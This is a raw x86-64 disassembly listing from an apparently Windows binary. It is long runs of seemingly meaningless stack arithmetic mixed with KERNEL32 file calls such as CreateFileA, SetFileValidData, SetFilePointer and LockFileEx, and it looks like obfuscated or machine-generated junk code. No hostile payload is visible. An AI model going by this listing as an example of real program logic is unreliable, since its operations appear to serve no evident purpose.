mov rax, qword [rsp + 0xae10]
mov rcx, qword [rsp + 0xad98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34c4], eax
movsx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402112c0], al
mov eax, dword [rsp + 0x3444]
movzx ecx, al
mov eax, dword [rsp + 0x343c]
shl eax, cl
mov dword [rsp + 0x35ec], eax
mov eax, dword [rsp + 0x35f8]
sub eax, 0xe2
mov dword [rsp + 0x35f8], eax
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3634], eax
mov rax, qword [rsp + 0xaf50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
movzx eax, word [rsp + 0xebc]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x154]
movsx ecx, byte [rsp + 0x156]
xor eax, ecx
mov byte [rsp + 0x151], al
lea rdx, [rsp + 0x26f10]
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x35b8], eax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xafa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov word [rsp + 0xebc], ax
movsx eax, word [rsp + 0xeb4]
movsx ecx, word [rsp + 0xeb0]
and eax, ecx
mov word [rsp + 0xa6c], ax
mov eax, dword [rsp + 0x35c0]
mov ecx, dword [rsp + 0x3534]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c4], eax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xaf70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xadd0], rax
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x3450]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34cc], eax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae98]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3474], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [rsp + 0x150]
sar eax, cl
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140210002], al
mov r9d, 1
lea r8, [rsp + 0xae28]
mov rdx, qword [rsp + 0xaff0]
mov rcx, qword [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3568], eax
mov rax, qword [rsp + 0xae80]
mov rcx, qword [rsp + 0xae10]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [0x140210004]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
add eax, ecx
mov rcx, qword [rsp + 0xaf28]
mov byte [rcx], al
lea rdx, [rsp + 0x34e0]
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3478], eax
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x35fc], eax
movsx eax, byte [rsp + 0x156]
movsx ecx, byte [rsp + 0x154]
add eax, ecx
mov byte [rsp + 0x143], al
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xeac]
and eax, ecx
mov rcx, qword [rsp + 0xae60]
mov word [rcx], ax
movsx eax, word [rsp + 0xeb4]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [rsp + 0xa6c], ax
lea rdx, [rsp + 0x26f80]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3544], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x51b9
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3610], eax
lea rdx, [rsp + 0x26f48]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3468], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1728
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3638], eax
lea rdx, [rsp + 0x26ed8]
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x34ec], eax
movsx eax, word [rsp + 0xeb4]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov rcx, qword [rsp + 0xafa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xae80]
mov rcx, qword [rsp + 0xad98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3534], eax
jmp 0x14000aca5
movzx eax, word [rsp + 0xeb8]
mov dword [rsp + 0x363c], eax
cmp dword [rsp + 0x363c], 0xeb0
je 0x14000b197
jmp 0x14000b231
mov dword [rsp + 0x28], 0xab
lea rax, [rsp + 0x34cc]
mov qword [rsp + 0x20], rax
mov r9d, 7
lea r8, [rsp + 0x344c]
lea rdx, [rsp + 0x26da8]
lea rcx, [rsp + 0xaf40]
call qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [rsp + 0x35f0], eax
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x34cc]
sub ecx, eax
mov eax, ecx
mov dword [0x140210004], eax
mov rax, qword [rsp + 0xae58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3444]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0xae68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
jmp 0x14000b380
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb4]
sar eax, cl
mov word [rsp + 0xeb0], ax
movzx eax, word [rsp + 0xeac]
mov dword [rsp + 0x3640], eax
cmp dword [rsp + 0x3640], 0xd6e
je 0x14000b364
cmp dword [rsp + 0x3640], 0xf66
je 0x14000b27d
jmp 0x14000b380
lea r8, [rsp + 0xaff8]
lea rdx, [rsp + 0x26da8]
mov ecx, 0x87
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x3644], eax
mov rax, qword [rsp + 0xa4c8]
mov qword [rsp + 0xb000], rax
movabs rax, 0x8d1ed5d9b3fd4098
cmp qword [rsp + 0xb000], rax
je 0x14000b2dc
movabs rax, 0xe0f89c9bc0232cf7
cmp qword [rsp + 0xb000], rax
je 0x14000b343
jmp 0x14000b362
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x150], al
movzx eax, word [rsp + 0xebc]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov r9, qword [rsp + 0xac80]
mov r8, qword [rsp + 0xac80]
mov rdx, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0xae68]
call fcn.1401d9380
nop
jmp 0x14000b362
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf00]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x156], al
jmp 0x14000b380
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [rsp + 0x152]
add eax, ecx
mov rcx, qword [rsp + 0xaf90]
mov byte [rcx], al
cmp dword [rsp + 0x35e0], 0x6284
jb 0x14000b611
mov eax, dword [rsp + 0x35e0]
sub eax, 0x6c
mov dword [rsp + 0x35e0], eax
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3544], eax
mov rax, qword [rsp + 0xae08]
mov rcx, qword [rsp + 0xafb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3450], eax
movsx eax, byte [rsp + 0x151]
movsx ecx, byte [rsp + 0x156]
add eax, ecx
mov byte [0x1402112c0], al
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x350c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa4c8], rax
movsx eax, byte [rsp + 0x143]
mov rcx, qword [rsp + 0xae98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x151], al
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xeb4], ax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov word [rsp + 0xa6c], ax
mov edx, 0x374724
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x34f8], eax
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
movzx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xaf28]
mov byte [rcx], al
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xae58]
mov qword [rsp + 0xb008], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb008]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xae58]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3628], eax
lea rdx, [rsp + 0x3560]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3648], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2206
mov r9d, 0x7f3
mov r8d, 0x7e5605fa
mov edx, 1
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x3590], eax
mov rax, qword [0x1402112c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sar eax, cl
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfbd0
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3474], eax
lea rdx, [rsp + 0xb010]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x34f8], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6a58
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3628], eax
lea rdx, [rsp + 0x26f10]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3550], eax
jmp 0x14000b380
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
mov dword [rsp + 0x364c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.taxidermy_turfy
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb018], rax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xace0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
movsx eax, byte [rsp + 0x155]
movsx ecx, byte [0x1402112c0]
sub eax, ecx
mov byte [rsp + 0x151], al
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xeb8]
sub eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xafa0]
movsx eax, word [rax]
mov rcx, qword [0x1402112c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov edx, 0x6ea105
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x34f8], eax
mov rax, qword [rsp + 0xaf70]
mov rcx, qword [rsp + 0xadd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf40]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x150]
and eax, ecx
mov byte [0x140210002], al
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x3450]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xafb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xaf00]
movsx eax, byte [rax]
movsx ecx, byte [0x1402112c0]
add eax, ecx
mov rcx, qword [rsp + 0xae90]
mov byte [rcx], al
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
xor eax, ecx
mov word [rsp + 0xeb8], ax
mov eax, dword [rsp + 0x347c]
add eax, 0xd3
mov dword [rsp + 0x347c], eax
lea rdx, [rsp + 0x26f10]
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x34f8], eax
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3474], eax
mov edx, 0x5b18f2
mov rcx, qword [rsp + 0xb018]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3650], eax
lea rdx, [rsp + 0x26f80]
mov rcx, qword [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3630], eax
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x150], al
movsx eax, word [section..data]
movsx ecx, word [rsp + 0xa6c]
shl eax, cl
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf90]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xad98]
mov rcx, qword [rsp + 0xae80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
lea rdx, [rsp + 0xaf30]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0xaf90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
add eax, ecx
mov byte [0x140210002], al
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rsp + 0xaf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xac80], rax
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x3450]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae78]
mov dword [rcx], eax
cmp dword [rsp + 0x347c], 0xfcad
jb 0x14000b65e
cmp dword [rsp + 0x34a0], 0x2121
jbe 0x14000bd71
movsx eax, word [rsp + 0xeb4]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xeb0], ax
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3654], eax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xebc]
sub eax, ecx
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
sub eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae98]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeb8], ax
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3618], eax
mov eax, dword [rsp + 0x34a0]
sub eax, 0xbe
mov dword [rsp + 0x34a0], eax
xor r9d, r9d
lea r8, [rsp + 0xae20]
mov rdx, qword [rsp + 0xaea8]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3458], eax
mov rax, qword [rsp + 0xaeb8]
movzx ecx, al
mov rax, qword [rsp + 0xace0]
sar rax, cl
mov qword [rsp + 0xacd8], rax
mov eax, dword [rsp + 0x35ec]
mov ecx, dword [rsp + 0x34cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
mov rax, qword [rsp + 0xafa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xee65
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3478], eax
mov eax, dword [rsp + 0x364c]
mov ecx, dword [rsp + 0x3534]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x143], al
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaf90]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb4], ax
mov edx, 0x2b5347
mov rcx, qword [rsp + 0xb018]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3658], eax
mov r9d, 1
lea r8, [rsp + 0xadf8]
mov rdx, qword [rsp + 0xae28]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3654], eax
mov rax, qword [rsp + 0xafa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov word [rsp + 0xa6c], ax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x26c1
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3648], eax
lea rdx, [rsp + 0xaec8]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x365c], eax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [rsp + 0x34cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
lea rdx, [rsp + 0x26f80]
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x35dc], eax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xace0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1f06
mov r9d, 0x3bd
mov r8d, 0xeecf8d7c
mov edx, 1
mov rcx, qword [rsp + 0xb018]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x3634], eax
lea rdx, [rsp + 0x3570]
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3660], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1229
mov r9d, 0x9bf
mov r8d, 0xed04d3ef
mov edx, 1
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x3584], eax
mov edx, 0x59e8ca
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3590], eax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
add eax, ecx
mov byte [0x140210002], al
mov rax, qword [rsp + 0xa4c8]
mov rcx, qword [rsp + 0xac80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
lea rdx, [rsp + 0x3664]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x35a8], eax
jmp 0x14000b94e
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [rsp + 0x156]
and eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov byte [rcx], al
cmp dword [rsp + 0x35a4], 0xd38a
jbe 0x14000c12f
mov rax, qword [rsp + 0xae60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
or eax, ecx
mov word [rsp + 0xeac], ax
lea rdx, [rsp + 0x26f10]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x35dc], eax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
sar eax, cl
mov byte [rsp + 0x150], al
lea rdx, [rsp + 0xadd8]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3458], eax
movsx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa6c], ax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x152], al
mov rcx, qword [rsp + 0xb018]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3668], eax
mov rax, qword [rsp + 0xafb8]
mov rcx, qword [rsp + 0xae08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x343c], eax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xaec0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaf40]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140210002], al
mov eax, dword [rsp + 0x3600]
mov dword [rsp + 0x35c0], eax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xeb4], ax
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x153], al
mov r9d, 1
lea r8, [rsp + 0xae20]
mov rdx, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x34d4], eax
mov dword [rsp + 0x20], 0xbb9
mov r9d, 0x2542
mov r8d, 0x9ef
mov edx, 0x203c
mov rcx, qword [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x3658], eax
mov edx, 0x4d6568
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x366c], eax
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
add eax, ecx
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0xaf40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaec0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xadd0], rax
mov eax, dword [rsp + 0x35a4]
sub eax, 0x9a
mov dword [rsp + 0x35a4], eax
movsx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xaf68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3450]
shl eax, cl
mov dword [rsp + 0x35ec], eax
mov dword [rsp + 0x20], 0xa5d
mov r9d, 0x632
mov r8d, 0x2e1a
mov edx, 0xfc1
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x3468], eax
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3634], eax
mov rax, qword [rsp + 0xae10]
mov rcx, qword [rsp + 0xad98]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xae80]
mov dword [rcx], eax
movsx eax, byte [0x1402112c0]
movsx ecx, byte [rsp + 0x154]
sar eax, cl
mov rcx, qword [rsp + 0xae90]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0xacd0]
mov rdx, qword [rsp + 0xb020]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3590], eax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
or eax, ecx
mov rcx, qword [rsp + 0xaf68]
mov word [rcx], ax
jmp 0x14000bd8d
movzx eax, word [rsp + 0xeb8]
mov dword [rsp + 0x3670], eax
cmp dword [rsp + 0x3670], 0
je 0x14000c15e
cmp dword [rsp + 0x3670], 0x97e
je 0x1401d8606
jmp 0x1401d86a1
mov rax, qword [rsp + 0xafb8]
